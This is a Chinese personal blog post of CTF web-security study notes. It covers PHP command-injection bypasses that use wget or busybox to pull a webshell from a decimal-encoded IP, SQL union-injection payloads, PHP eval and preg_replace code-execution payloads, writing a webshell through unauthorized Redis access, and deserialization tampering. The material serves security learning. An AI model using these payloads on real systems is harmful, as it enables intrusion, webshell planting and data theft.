本文设计CTF-web的许多知识,以题目的角度分析学习,个人笔记,会长期更新!
呜呜呜,网安本是逆天而行,中途猝死很正常(T ^ T)
一、PHP代码审计绕过
其index.php
页面有如下代码
1 |
|
最后一行示例:
args=[1,2,3] => /bin/true 1 2 3
综上,思路为通过构造数组绕过正则匹配形成可识别命令执行,空格符合执行多条命令的条件,这里考虑上传webshell来执行相关命令。可以考虑wget
方式。
- 遍历部分命令如
&& || ; \n
发现该正则匹配对\n
不进行匹配而跳过直接执行以下内容如\n123
/bin/true
1 2 3
会变为两条命令,但是命令要执行需要分隔否则系统无法识别,故将\n进行url编码为%0a也会绕过正则匹配
如访问http://ip/?args[]=a%0A&args[]=touch$args[]=abc
,相当于执行了
1 | /bin/true a |
也即建立了一个abc的文件,在服务器的/var/www
文件下新建abc
文件夹.
使用wget命令远程下载webshell,或者busybox等。但都会出现ip地址如127.0.0.1
,但这种形式无法绕过正则匹配,因此有了如下思路
ip地址的意义为一列二进制的数字,每八位分成一个十进制的数字表示所以每个.的范围在0到255。因此我们可以
使用ip地址的十进制格式绕过匹配!
又出现一个问题,webshell文件一般为.php
后缀,但显然无法绕过正则匹配,所以也要想办法绕过。
在shell中,如果有一个abc.php文件,我们可以直接使用如下命令来运行
php abc
如此便可绕过后缀。
如下命令即可完成操作,但需要注意,最好在新建文件夹后进入该文件夹执行wget和php运行,因为/var/www
文件夹会有所权限限制,所以在新文件夹中能更好跟稳妥的进行操作。
1 | http://localhost/?args[]=a%0a&args[]=mkdir&args[]=abc%0a&args[]=cd&args[]=abc%0a&args[]=wget&args[]=十进制IP%0a |
结尾处的%0a
不可少。能否直接下载php文件,则要看给的权限设置,如果不行,按照如下方法
可以压缩成.tar
的压缩包而不带后缀如aa
,但之后还需要解压缩。
1 | http://localhost/?args[0]=x%0a |
如下给出busybox和shell代码
1 | http://localhost/?args[]=x%0a&args[]=busybox&args[]=ftpget&args[]=<IP_IN_DECIMAL>&args[]=script |
1 |
|
里面的内容为在当前文件夹生成一个shell.php
的文件,一句话马
可以使用http://127.0.0.1/shell.php?cmd=cat /flag.txt
来查找flag
二、SQL注入的原理与利用
本质就是用户的输入会拼接到查询语句中,字符拼接
在经典的用户身份认证端会有
用户输入:用户名和密码
SQL拼接:
1 | select * from admin where username='用户名' and password = '用户提交' |
当用户在用户名处输入admin' or 1#
,或者在密码处输入xxx'or '1'='1
SQL会拼接成
1 | select * from admin where username='admin' or 1#' and password = 'xxx' |
以上两组判断真值都为true,故mysql会执行查询爆出所有数据
一般来说,前端会有过滤用户输入的过程
可以在burpsuite测试,bp中的Repeater模块中空格使用**”+”或者“%20”**代替
数字型注入
1 | select * from articles where id = 1 |
字符型注入
1 | select * from articles where id = "1" |
SQL注入可能存在的位置
- URL提交的参数
- HTTP请求主体(POST提交的数据)
- HTTP请求头(User-Agent、Referer、Cookie等)
SQL注入的核心是逃逸引号,只有逃出来才能输入需要的命令
SQL注入利用方式
- 获取数据库信息(脱裤)
- 获取系统命令执行shell
- 上传、下载服务器文件(webshell)
对sql注入的利用技术主要分以下四类
- 联合注入
- 布尔注入
- 延时盲注
- 报错注入
在后面题目中会详细介绍这四种的具体利用(非sqlmap方式。。。)
三、SQL注入-Union联合注入
条件:输入有返回查询
select * from person where id = 1;
#在person表中,筛选出id = 1的记录
如果id=1中的1是用户可以控制的输入部分,就会存在sql注入,小tips:mysql会记录缓存,如果缓存查找过,则会直接输出,不用再次查找
union的作用是联合两个select语句,注意,前后字段数必须保持一致,如
select * from person where id =1;
执行后结果
id | name | age | phone | |
---|---|---|---|---|
1 | admin | xx | xx | xx |
则拼接的union语句需要为
select * from person where id = 1 union select 1,2,3,4,5
#不能多也不能少
输出结果会将12345插入
id | name | age | phone | |
---|---|---|---|---|
1 | admin | xx | xx | xx |
1 | 2 | 3 | 4 | 5 |
而此时我们可以将12345任意一个换成其他数据库、表之类的
eg:select * from person where id = 1 union select 1,2,database(),4,5
#则会将数据库名显示在第三列
其中难点在于:我们一般不知道字段数!,这里就需要我们首先找出字段数
使用order by num
。当依次增大num时候,如果出现错误,那么上一条sql查询的num值就是对应的字段数
eg:
select * from person where id = 1 order by 1;
select * from person where id = 1 order by 2;
select * from person where id = 1 order by 3;
#若3报错则说明字段数为2
之后再使用
select * from person where id = 1 union select 1,2,database(),version(),user()
#后面爆出的分别是数据库,版本号和用户名(一般以root@xxx.xxx.xxx.xxx显示)
查询数据表:mysql5.0以后的版本提供了一个函数information_schema.tables
来查询,如
select * from person where id = 1 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1),4,5
limit 0,1
表示限制输出内容为一行,因为数据表展示不下太多的表,所以需要逐行查询,0,1
意思是在第一行的位置查询一个,同理1,1
表示在第二行位置查询一个。以此类推
方法二:使用group_concat()
将查询内容放在一行以“,”进行分割。如
eg:select * from person where id = 1 union select 1,2,(select group_concat(teble_name) from information_schema.tables where table_schema=database()),4,5;
查询字段名
information_schema.columns
#同样是MySQL5.0以上版本
select * from person where id = 1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='admin',4,5;
注意:很有可能会出现过滤单引号的现象,所以可以使用表名的十六进制表示来绕过(字符串在线十六进制转换)
admin=0x61646D696E
具体数据查询
select * from person where id = 1 union select 1,2,(select concat(username,0x5c,password) from admin limit 0,1),4,5;
#0x5c是斜杠,使用斜杠来分隔内容“\”
select * from person where id = 1 union select 1,2,concat(username,0x5c,password),4,5 from admin limit 0,2 ;
也可以如上构造查询数据内容
这种构造同样适用于数据库之类的查询如
select * from person where id = 1 union select 1,2,table_name,4,5 from infomation_schema.tables where table_schema = database();
数字型注入
输入id可控的php代码部分如下
1 |
|
以上页面只显示第一行,为了显示后面语句,一般来说需要吧union前的查询语句直接报错不显示,故一般使用id=-1
之类的错误,使得unino只显示其后查询结果。
字符型注入
1 | Mysql中注释:#、--+ 闭合引号、 or '1 |
防护措施,单引号会被过滤,但是需要逃逸单引号
union联合查询绕过过滤技巧
不适用union联合查询的情况
- union关键字被完全过滤
- 页面中无返回查询数据
大小写绕过
php中常用的过滤函数str_replace()
str_replace(find,replace,string,count)
参数 | 描述 |
---|---|
find | 必须。规定要查的值 |
replace | 必须。规定替换find中的值的值 |
string | 必须。规定被搜索的字符串 |
count | 可选。对替换数进行计数的变量 |
返回带有替换值的字符串或数组,php使用代码如下
1 |
|
将array中的四个字符替换为空
第二种是正则匹配过滤
preg_replace()
mixed preg_replace(mixed $pattern , mixed $replacement, mixed $subject [,int $limit = -1 [,int &$count]])
1 |
|
第三种preg_match()
正则匹配,匹配到则退出,代码如下
1 |
|
Mysql中,大小写都是可以运行的,而在上述的过滤匹配中,则是严格的按照大小写进行过滤,所以,我们可以使用大小写来绕过过滤
双写绕过
在使用preg_replace()函数中,默认情况下只进行一次匹配,所以如果匹配到字符替换为空的情况,可能造成双写绕过
要求十分严格,需要是preg_replace()
函数并且是替换为空的结果才会产生双写绕过!
比如union
替换为 uniunionon
。其实这里可以思考的地方,如果替换成了字母“u n i o n”中任何一个,也可以尝试新奇的构造方式进行绕过。
过滤单引号的绕过,十六进制
Mysql的sql语句,对于字符串数据必须使用引号,但对于字符串语句,mysql也是别字符串中的每个字符对应的ASCII码的十六进制,因此可以使用0x16进制替换字符串,从而绕过引号对字符串的限制。
addslashes()
#函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(’)
- 双引号(”)
- 反斜杠(\)
- NULL
该函数可用于为储存在数据库中的字符串以及数据库查询语句准备字符串。
或者在php.ini
配置文件中,开启magic_quotes_gpc
选项,此时对于数字型注入来说,如果需要进行数据库中数据获取,需要使用十六进制进行绕过,但是对于字符型注入来说,就需要进行引号逃逸的操作
宽字节注入原理与利用
如果数据库中储存数据使用的编码方式是GBK,那么由于用户输入的内容会进行双字节的组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号
宽字节注入是一种引号逃逸的技巧,利用双字节组合导致注入产生。
1 | select * from admin where id = '1'; |
限制:只适用于使用GBK编码的数据的数据库!
一种完全无法使用联合查询注入的方式preg_match('/union/i',$sql)
完全过滤
剩下三种sql注入技巧我先跳过,埋个坑,过几天补。
四、代码执行与命令执行
当用户提交的参数被作为代码的时候,此时成为代码注入。广义的代码注入,涵盖大半安全漏洞分类,例如:SQL注入,XSS跨站脚本攻击等等;狭义代码注入:动态代码执行函数的参数过滤不严格导致用户输入数据作为服务端代码执行
代码执行(相关函数)
大致分为五类:
eval
+assert
函数,会接受字符串作为脚本来执行,显然想到一句话木马preg_replace/e
用户替换的内容将会作为代码执行(PHP 5 )- 用户自定义函数
- 动态函数
- 其他
1 | eval(PHP 4 ,PHP 5 ,PHP 7)#把字符串作为PHP代码执行,当用户可以控制字符串,此时就存在代码注入漏洞 |
eval记得加分号!
此时安全人员可能进行的防御手段:加引号
1 |
|
绕过方式:(闭合+注释)
闭合前面的’和括号来逃逸,如
http://127.0.0.1/index.php/?cmd=%27);phpinfo();
#%27是url编码后的单引号
注意,如果系统开启了GPC(magic_quotes_gpc一般是默认开启的)就无法进行绕过了,会将单引号前加斜杠进行转义,会印象cookie中的’也转义,所以php5.4没有gpc了。
之后版本一般会使用stripslashes()
函数进行转义
在php.ini中修改(重启生效)
1 | magic_quotes_gpc |
第二个preg_replace("/.*/e",$replacement,$subject);
该正则匹配表达式存在的/e修饰符,会使得replacement参数当做php代码执行
1 |
|
为绕过下面的过滤,可以构造payload:
http://127.0.0.1/index.php?cmd=<data>{${phpinfo()}}</data>
第三个create_function
主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function(string $args, string $code)
执行任意命令
1 |
|
注意该代码传递的是一个完整语句,payload必须加上;
分号
动态函数
1 |
|
payload:?func=phpinfo
还比如如下
1 | $_GET['a']($_GET['b']);#a作为函数b作为参数 |
payload:?a=assert&b=phpinfo
1 |
|
所以构造payload可为?cmd[]=phpinfo()
array,array_filter,array_map
等等都可
还有一个可以直接作为php代码进行执行的方式${phpinfo()}
其实就是上面的一个payload
命令执行
区别于代码执行php代码,命令执行会直接在服务器执行命令
system函数
exec函数
以上两者函数都有一个返回值为结果的最后一行,其中exec返回为一个数组,查看内容需要用ver_dump
函数
五、Redis未授权访问漏洞
漏洞发生在,Redis的错误配置绑定在
0.0.0.0:6379
,并且在没有开启认证(Redis默认),则该端口可以通过公网直接访问,如果没有采用相关策略如添加防火墙规则避免其他非信任来源ip访问,就会导致Redis的服务暴露在公网ip上,可能造成其它用户直接在非授权的情况下访问Redis五福
使用nmap扫描6379端口
nmap -A -p 6379 --script redis-info ip
使用该命令,如果存在漏洞会返回redis info信息
利用,使用redis-cli -h 指定IP -p 指定端口默认6379
Redis可以写入磁盘信息,可以写入webshell
1 | config set dir /var/www/html#设置写入位置 |
防御:可以在redis.conf文件中的requirepass 123456
设置密码
六、XSS自动化检测
使用python
1 | import requests |
七、SSRF
服务器请求伪造(SSRF Server-Side Request Forgery)是一种有Web服务器发出请求的漏洞,它能够请求到与它相连的内网资源(与外网隔离的内部系统)。因此SSRF主要测试目标是企业的内网系统。
八、PHP序列化安全
序列化与反序列化
(serialization)序列化:将复杂的数据结构(object)转换为适合与传输保存的字节类型(byte)。(存储)
(Deserialization)反序列化:将字节类型转换为复杂数据结构(object)。(程序使用)
PHP,Ruby,Java
都用此技术。
PHP序列化操作
1 | serialize(mixed $value):string |
试验代码
1 |
|
该程序执行结果:输出序列化字符串0:4:"Site":1:{s:4:"name";s:3:"ctf";}
CTF中反序列化题
unserialize()
会检查是否存在一个__wakeup()
方法,如果存在,则会先调用__wakeup
方法,预先准备对象需要的资源。
1 |
|
如果传递一个Site相关序列化内容,__wakeup()就会自动调用,它就会在unserialize()
之前执行
所以急需要将class Site
的内容复制下来,生成其序列化内容,POST传递给网页即可
再比如
1 |
|
序列化生成字符串代码
1 |
|
O:4"User":2:{s:4:"name":s:3:"ctf";s:7:"isAdmin";b:0;}
这里需要将b:0;
改为b:1;
也即True,然后POST传参即可
- 本文作者: Isabella
- 本文链接: https://username.github.io/2021/03/07/CTF-web-1/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!